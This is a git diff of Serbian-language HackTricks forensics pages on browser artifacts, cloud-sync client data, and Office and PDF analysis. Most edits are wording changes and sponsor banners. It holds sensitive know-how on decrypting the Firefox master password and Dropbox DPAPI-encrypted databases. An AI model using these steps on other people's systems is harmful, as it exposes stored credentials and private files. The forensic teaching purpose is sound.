\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ -Pristupite danas: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 7189eff98..af4438394 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -8,16 +8,16 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -34,7 +34,7 @@ Evo sažetka najčešćih artifakata pregledača: * **Proširenja i dodaci**: Proširenja pregledača ili dodaci instalirani od strane korisnika. * **Keš**: Čuva veb sadržaj (npr. slike, JavaScript fajlove) radi poboljšanja vremena učitavanja sajtova, vredno za forenzičku analizu. * **Prijave**: Sačuvane prijavne informacije. -* **Favikoni**: Ikone povezane sa veb sajtovima, koje se pojavljuju u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika. +* **Favikoni**: Ikone povezane sa sajtovima, prikazuju se u tabovima i obeleživačima, korisne za dodatne informacije o posetama korisnika. * **Sesije pregledača**: Podaci vezani za otvorene sesije pregledača. * **Preuzimanja**: Zapisi fajlova preuzetih putem pregledača. * **Podaci o obrascima**: Informacije unete u veb obrasce, sačuvane za buduće predloge automatskog popunjavanja. @@ -43,7 +43,7 @@ Evo sažetka najčešćih artifakata pregledača: ## Firefox -Firefox organizuje korisničke podatke unutar profila, smeštenih na specifičnim lokacijama zavisno od operativnog sistema: +Firefox organizuje korisničke podatke unutar profila, čuvajući ih na specifičnim lokacijama zavisno od operativnog sistema: * **Linux**: `~/.mozilla/firefox/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` @@ -64,12 +64,12 @@ Unutar svake fascikle profila, možete pronaći nekoliko važnih fajlova: * **cache2/entries** ili **startupCache**: Keš podaci, pristupačni putem alata poput [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **favicons.sqlite**: Čuva favikone. * **prefs.js**: Korisnička podešavanja i preferencije. -* **downloads.sqlite**: Starija baza podataka preuzimanja, sada integrisana u places.sqlite. +* **downloads.sqlite**: Starija baza preuzimanja, sada integrisana u places.sqlite. * **thumbnails**: Slike pregleda veb sajtova. * **logins.json**: Šifrovane prijavne informacije. * **key4.db** ili **key3.db**: Čuva ključeve za šifrovanje osetljivih informacija. -Dodatno, proveru anti-phishing podešavanja pregledača možete obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene. +Dodatno, provera anti-phishing podešavanja pregledača može se obaviti pretragom unosa `browser.safebrowsing` u `prefs.js`, što ukazuje da li su funkcije sigurnog pregledanja omogućene ili onemogućene. Za pokušaj dešifrovanja glavne lozinke, možete koristiti [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Pomoću sledećeg skripta i poziva možete specificirati fajl sa lozinkom za brute force: @@ -103,7 +103,7 @@ U ovim direktorijumima, većina korisničkih podataka se može pronaći u fascik - **Favicons**: Čuva favikone veb sajtova. - **Login Data**: Uključuje podatke za prijavljivanje poput korisničkih imena i lozinki. - **Current Session**/**Current Tabs**: Podaci o trenutnoj sesiji pregledanja i otvorenim tabovima. -- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre zatvaranja Chrome-a. +- **Last Session**/**Last Tabs**: Informacije o sajtovima aktivnim tokom poslednje sesije pre nego što je Chrome zatvoren. - **Extensions**: Direktorijumi za proširenja i dodatke pregledača. - **Thumbnails**: Čuva sličice veb sajtova. - **Preferences**: Fajl bogat informacijama, uključujući podešavanja za dodatke, proširenja, iskačuće prozore, obaveštenja i više. @@ -127,7 +127,7 @@ Alat [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) omoguć ### Upravljanje kolačićima -Kolačići se mogu istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji. +Kolačiće možete istražiti korišćenjem [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), pri čemu metapodaci obuhvataju imena, URL-ove, broj pristupa i različite detalje vezane za vreme. Trajni kolačići se čuvaju u `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, dok se sesijski kolačići nalaze u memoriji. ### Detalji preuzimanja @@ -153,7 +153,7 @@ Microsoft Edge čuva korisničke podatke u `%userprofile%\Appdata\Local\Packages ## Safari -Podaci iz Safari-ja se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju: +Podaci Safari pregledača se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključni fajlovi uključuju: - **History.db**: Sadrži tabele `history_visits` i `history_items` sa URL-ovima i vremenima poseta. Koristite `sqlite3` za upite. - **Downloads.plist**: Informacije o preuzetim fajlovima. @@ -166,12 +166,30 @@ Podaci iz Safari-ja se čuvaju na lokaciji `/Users/$User/Library/Safari`. Ključ ## Opera -Podaci iz Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format istorije i preuzimanja sa Chrome-om. +Podaci Operinog pregledača se nalaze u `/Users/$USER/Library/Application Support/com.operasoftware.Opera` i dele format za istoriju i preuzimanja sa Chrome-om. - **Ugrađena anti-phishing za pregledač**: Proverite da li je `fraud_protection_enabled` u fajlu Preferences postavljen na `true` korišćenjem `grep`. Ove putanje i komande su ključne za pristupanje i razumevanje podataka o pregledanju čuvanih od strane različitih veb pregledača. -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! + +## Reference + +- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) +- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) +- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) + +
+ +\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Pristupite danas: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+ +Naučite hakovanje AWS-a od početnika do stručnjaka sa htARTE (HackTricks AWS Red Team Expert)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 32b94a81f..99f7caabb 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -14,23 +14,23 @@ Drugi načini podrške HackTricks-u:
-
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -U Windows-u, OneDrive folder se može pronaći u `\Users\\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima: +U Windows-u, možete pronaći OneDrive fasciklu u `\Users\\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima: * Veličina u bajtovima * Datum kreiranja * Datum modifikacije * Broj fajlova u oblaku -* Broj fajlova u folderu +* Broj fajlova u fascikli * **CID**: Jedinstveni ID OneDrive korisnika * Vreme generisanja izveštaja * Veličina HD-a OS-a @@ -39,17 +39,17 @@ Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj I ## Google Drive -U Windows-u, glavni Google Drive folder se može pronaći u `\Users\\AppData\Local\Google\Drive\user_default`\ -Ovaj folder sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima. +U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\\AppData\Local\Google\Drive\user_default`\ +Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima. Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova. -Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih foldera i verziju Google Drive-a. +Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a. ## Dropbox Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\ -Možete pronaći baze podataka u folderima: +Možete pronaći baze podataka u fasciklama: * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` @@ -62,9 +62,9 @@ Glavne baze podataka su: * Deleted.dbx * Config.dbx -Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +Ekstenzija ".dbx" znači da su **baze podataka enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) -Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Međutim, glavne informacije su: @@ -75,7 +75,7 @@ Međutim, glavne informacije su: Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno: -* **Šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne) +* **Enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne) * **`SYSTEM`** i **`SECURITY`** košnice * **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\\AppData\Roaming\Microsoft\Protect` * **korisničko ime** i **šifra** Windows korisnika @@ -86,7 +86,7 @@ Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/u Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta. -Rezultujući heksadecimalni broj je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa: +Rezultujući heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dešifrovati sa: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -113,10 +113,10 @@ Druge tabele unutar ove baze podataka sadrže još interesantnih informacija: - **deleted\_fields**: Obrisani fajlovi sa Dropbox-a - **date\_added** -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -127,7 +127,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! - Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) - Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 4ac8cd9f2..272989356 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,31 +14,31 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak: -Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju putem dekompresije, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova. +Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova. -Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka u okviru CTF izazova. +Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka unutar CTF izazova. -Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne setove alata za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, što omogućava debagovanje sa prekidnim tačkama i promenljivim vrednostima. +Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidima i promenljivim vrednostima. -Instalacija i korišćenje **oletools**-a su jednostavni, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`. +Instalacija i korišćenje **oletools**-a je jednostavno, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -49,7 +49,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index af4adc468..eb574703b 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,19 +14,19 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se obratiti Didier Stevens-ovom [uvodnom materijalu](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja. +PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da bi razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origamija. -Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u: +Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u: * Nevidljivim slojevima * XMP formatu metapodataka od strane Adobe-a @@ -35,7 +35,7 @@ Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpd * Tekstu iza slika ili preklapajućih slika * Komentarima koji se ne prikazuju -Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nisu smešteni na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu. +Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje nude vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini mogu pružiti dodatno čitanje na ovu temu.
@@ -43,7 +43,7 @@ Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.c Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 8c8773578..d9bc4fd49 100644 --- 